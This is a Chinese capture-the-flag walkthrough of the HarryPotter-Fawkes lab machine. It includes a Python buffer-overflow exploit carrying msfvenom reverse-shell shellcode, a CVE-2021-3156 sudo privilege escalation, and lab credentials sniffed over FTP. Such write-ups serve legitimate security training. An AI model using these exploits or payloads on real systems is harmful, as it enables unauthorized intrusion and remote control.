HarryPotter-Fawkes 三部曲之第三部 靶场记录

一、信息收集

进行arp-scan -l扫描,获取到靶机ip192.168.91.132
在这里插入图片描述
对靶机进行nmap扫描

nmap -sT --min-rate 10000 192.168.91.132
nmap -sT -sV -sC -O -p21,22,80,2222,9898 192.168.91.132
nmap --script=vuln -p21,22,80,2222,9898 192.168.91.132

在这里插入图片描述
在这里插入图片描述
在21端口中我们发现ftp可以匿名登录
//ftp-anon: Anonymous FTP login allowed (FTP code 230)

打开web界面又是一张图片
在这里插入图片描述
根据前两个靶机我们得出经验应该又是要进行目录爆破了
在这里插入图片描述
目录爆破后没有拿到可利用信息
匿名登录ftp查看
在这里插入图片描述
有一个server_hogwarts,下载下来查看
在这里插入图片描述
赋予执行权限,执行后没有反应

ps -aux | grep server
//显示名字包含server的所有进程
ss -pantu | grep server
//用ss查看已经建立的并且名字带有server的连接信息
ss 是 Socket Statistics 的缩写,ss 命令可以用来获取 socket 信息
-p, –processes 显示监听端口的进程(Ubuntu 上需要 sudo)
-a, –all 对 TCP 协议来说,既包含监听的端口,也包含建立的连接
-n, –numeric 不解析服务的名称,如 “22” 端口不会显示成 “ssh”
-t, –tcp 显示 TCP 协议的 sockets
-u, –udp 显示 UDP 协议的 sockets

在这里插入图片描述
发现靶机开放的9898端口跟我们执行的这个文件的端口相同,也是9898端口,尝试监听本地9898端口
在这里插入图片描述
输入几个字符后
在这里插入图片描述

二、漏洞利用

缓冲区溢出

buffer overflow,是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁着中断之际并获取程序乃至系统的控制权。
缓冲区溢出漏洞最重要的是需要找到缓冲区溢出的位置,这里使用工具edb-debugger来动态测试server_hogwarts进程并找出缓冲区溢出漏洞的溢出位置

工具edb-debugger调试

由于kali本机存在ASLR(Address space layout randomization,地址空间配置随机加载)安全技术,地址空间随机化,会造成内存地址的随机化,导致我们无法确定缓冲区溢出的位置,所以要关闭。
在这里插入图片描述
将randomize_va_space中2改为0
安装edb-debugger

apt-get install edb-debugger
//安装
edb 
//启动

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
要调试缓冲区溢出漏洞,就需要准备大量数据,我们通过python来生成500个A
python -c “print(‘A’*500)”
在这里插入图片描述
说明存在缓冲区溢出漏洞,位置0x41414141出现了错误
错误信息:
在这里插入图片描述
EIP寄存器存储的是下一个指令的内存地址,而ESP寄存器中存储的是具体命令
攻击思路
我们将EIP的内容修改,从而使指令跳转到ESP,从而达到ESP中的命令被执行,所以我们可以将反弹shell写入ESP中

确认存在漏洞后,我们现在需要找到缓冲区溢出的位置
寻找缓冲区溢出位置
上面我们使用500个A来测试它是否存在缓冲区溢出漏洞,而这次寻找溢出位置就需要不同的数据了,如果全是相同的数据,那就无法找到缓冲区溢出的位置
使用msf生成500个随机字符串

msf-pattern_create -l 500

将刚刚的操作重新来一遍,将生成的字符串输入

在这里插入图片描述
在这里插入图片描述
通过报错提示我们得知0×64413764内存位置有问题,那这个位置很有可能就是想找的溢出位置;
查询这个内存位置在输入区的位置

msf-pattern_offset -l 500 -q 64413764

在这里插入图片描述
偏移量为112,所以64413764就是在113个位置
找到偏移位置后,构造反弹shell,要将构造的反弹shell十六进制后放入到ESP中,再让EIP指向ESP,反弹shell被执行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
得到位置08049d55
由于机器指令需要反写,转化为16进制
08049d55---->559d0408---->\x55\x9d\x04\x08(需要写入EIP的内容)
使用msf构造反弹shell

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.91.128 LPORT=6666 -b "\x00" -f python
//LHOST应为kali攻击机的ip

在这里插入图片描述
构造的payload为

buf =  b""
buf += b"\xda\xd1\xd9\x74\x24\xf4\xba\xee\x18\x0a\xc3\x58"
buf += b"\x29\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x06"
buf += b"\xe4\xe8\x36\xe7\xce\x1a\x5b\x54\xb2\xb7\xf6\x58"
buf += b"\xbd\xd9\xb7\x3a\x70\x99\x2b\x9b\x3a\xa5\x86\x9b"
buf += b"\x72\xa3\xe1\xf3\x44\xfb\x49\x83\x2d\xfe\x6d\x99"
buf += b"\xa7\x77\x8c\x2d\xd1\xd7\x1e\x1e\xad\xdb\x29\x41"
buf += b"\x1c\x5b\x7b\xe9\xf1\x73\x0f\x81\x65\xa3\xc0\x33"
buf += b"\x1f\x32\xfd\xe1\x8c\xcd\xe3\xb5\x38\x03\x63"

构造exp
由于缓冲区溢出的问题,这并不是我们最终的payload,需要配合python脚本编写

#!/usr/bin/python2
import sys,socket
buf =  b""
buf += b"\xda\xd1\xd9\x74\x24\xf4\xba\xee\x18\x0a\xc3\x58"
buf += b"\x29\xc9\xb1\x12\x31\x50\x17\x03\x50\x17\x83\x06"
buf += b"\xe4\xe8\x36\xe7\xce\x1a\x5b\x54\xb2\xb7\xf6\x58"
buf += b"\xbd\xd9\xb7\x3a\x70\x99\x2b\x9b\x3a\xa5\x86\x9b"
buf += b"\x72\xa3\xe1\xf3\x44\xfb\x49\x83\x2d\xfe\x6d\x99"
buf += b"\xa7\x77\x8c\x2d\xd1\xd7\x1e\x1e\xad\xdb\x29\x41"
buf += b"\x1c\x5b\x7b\xe9\xf1\x73\x0f\x81\x65\xa3\xc0\x33"
buf += b"\x1f\x32\xfd\xe1\x8c\xcd\xe3\xb5\x38\x03\x63"
 
payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf
try:
    s=socket.socket()
    s.connect(('192.168.91.132',9898)) //此处是靶机ip的9898端口
    s.send((payload))
    s.close()
except:
    print('wrong')
    sys.exit()

将代码放入到shell.py中
在这里插入图片描述

chmod 777 shell.py
./shell.py

kali端监听6666端口即可成功反弹
在这里插入图片描述
成功拿到shell

三、获得初始权限,拿到shell

在这里插入图片描述
在harry的目录下查看到.mycreds.txt中有一串疑似密码的字符串Harryp0tter@Hogwarts123,查看是否可以用来ssh登录
22端口下发现无法进入,前面端口探测到2222端口也是ssh服务,尝试在2222端口连接
在这里插入图片描述
成功
通过ip a查看到在一个容器中
sudo -l查看权限发现(ALL)NOPASSWD:ALL
使用sudo -s成功提升到容器的root权限
进入root目录中成功拿到第一个horcrux

horcrux1
hrocrux1.txt:
horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
base64解密:horcrux_{6: HaRrY PotTer dEsTrOyed by volDeMorT}

在这里插入图片描述
还得到了一个note.txt中的内容:
We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.
//我们发现有人试图错误登录我们的ftp服务器。请您分析流量并找出用户。
提示我们到ftp中分析流量

tcpdump流量分析

tcpdump -i eth0 port 21

等待片刻后发现
在这里插入图片描述

USER: neville
PASS: bL!Bsg3k

尝试登录ssh,成功
在这里插入图片描述

horcrux2

成功拿到horcrux2.txt
在这里插入图片描述

horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
BASE64解码:horcrux_{7: NaGiNi tHe SnAke deStroYed By NeVille LonGboTTom}

四、系统提权-sudo 提权

使用sudo --version查看sudo版本,发现版本为1.8.27,查找是否有相关漏洞可以利用
在这里插入图片描述
查找到CVE-2021-3156(sudo堆缓冲区溢出提权漏洞)exp

exp:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

在这里插入图片描述
查看是否存在漏洞

在这里插入图片描述
在这里插入图片描述

查看sudo的path
在这里插入图片描述
将SUDO_PATH修改
在这里插入图片描述

靶机:nc -lvnp 6666 > 1.py
kali:nc 192.168.91.132 6666 < 1.py -w 1

在这里插入图片描述
在这里插入图片描述
成功将kali中修改好的1.py文件传入靶机

chmod 777 1.py  //给1.py执行权限
./1.py          //执行

在这里插入图片描述
成功提权

horcrux3

切换到root目录下成功拿到第三个horcrux
在这里插入图片描述

总结:

1、首先进行信息收集,对靶机进行nmap扫描,扫描到开放了21,22,80,2222,9898端口,相比起前两个靶机,难度明显增加。
2、打开80端口还是跟前两个靶机一样,只有图片;在扫描到的信息中我们发现21端口ftp服务可以使用匿名服务登录,登录后在里面拿到了一个server_hogwarts文件,下载后发现是一个可执行文件,赋予权限执行后并没有反应。
3、我们查看后台,发现程序一直在运行,且端口号是9898(刚刚在信息收集中已经探测出来了),由于程序一直在运行,但是没有显示结果,我们尝试用nc监听本地9898端口,发现一个可以输入命令的界面,于是想到了输入点常见漏洞-缓冲区溢出
缓冲区溢出
针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容,从而破坏程序运行、趁着其中断的时候获取程序乃至系统的控制权。
关键:找到缓冲区溢出的位置,使用工具edb-debugger
由于kali存在ASLR(Address space layout randomization,地址空间配置随机加载)安全技术,需要cd到/proc/sys/kernel目录下把randomize_va_space改成0 //关闭防护
通过输入大量数据查看是否存在缓冲区溢出漏洞,再通过输入大量不同的数据来测试缓冲区溢出的位置;使用msf生成payload并放在ESP中(构造的exp需要考虑到缓存溢出的问题),将代码放入在文件中,kali进行监听,靶机执行文件,成功拿到普通权限。
4、在普通权限下发现一个隐藏文件.mycreds.txt,发现一串类似密码的字符串,使用ssh尝试登录,但是经尝试后,常用的22端口并不能连接成功,想到之前探测的端口还开放了2222端口,尝试通过2222端口进行ssh连接,成功登录。
5、登录后发现这台机器存在于docker容器中,使用sudo -l发现该用户执行任何命令都不需要账号密码,直接通过sudo -s提升至容器的root权限;在root目录下成功拿到第一个horcrux和一个note文件,提示我们去分析ftp服务上的流量。
流量分析工具-tcpdump
通过tcpdump流量分析工具来监听21端口,tcpdump -i eth0 port 21,成功分析到一组账号密码,再次尝试使用ssh连接,这次使用22端口即可连接成功,由此可以看出22端口是通往靶机的,2222端口是通往docker容器的。成功跳出容器,在home目录的neville目录下拿到第二个horcrux。
6、由于使用常规方法没有提权的思路,查看sudo --version版本,搜集后发现该版本有相关漏洞(CVE-2021-3156)并且有poc可以利用,我们在GitHub上找到相关代码后,在kali端创建一个文件,将代码复制进去后将sudo的path路径修改成与靶机上sudo路径相同后,使用nc传入到靶机中,靶机赋予权限后,执行文件,成功提权,拿到第三个horcrux,本台靶机结束。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 6
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值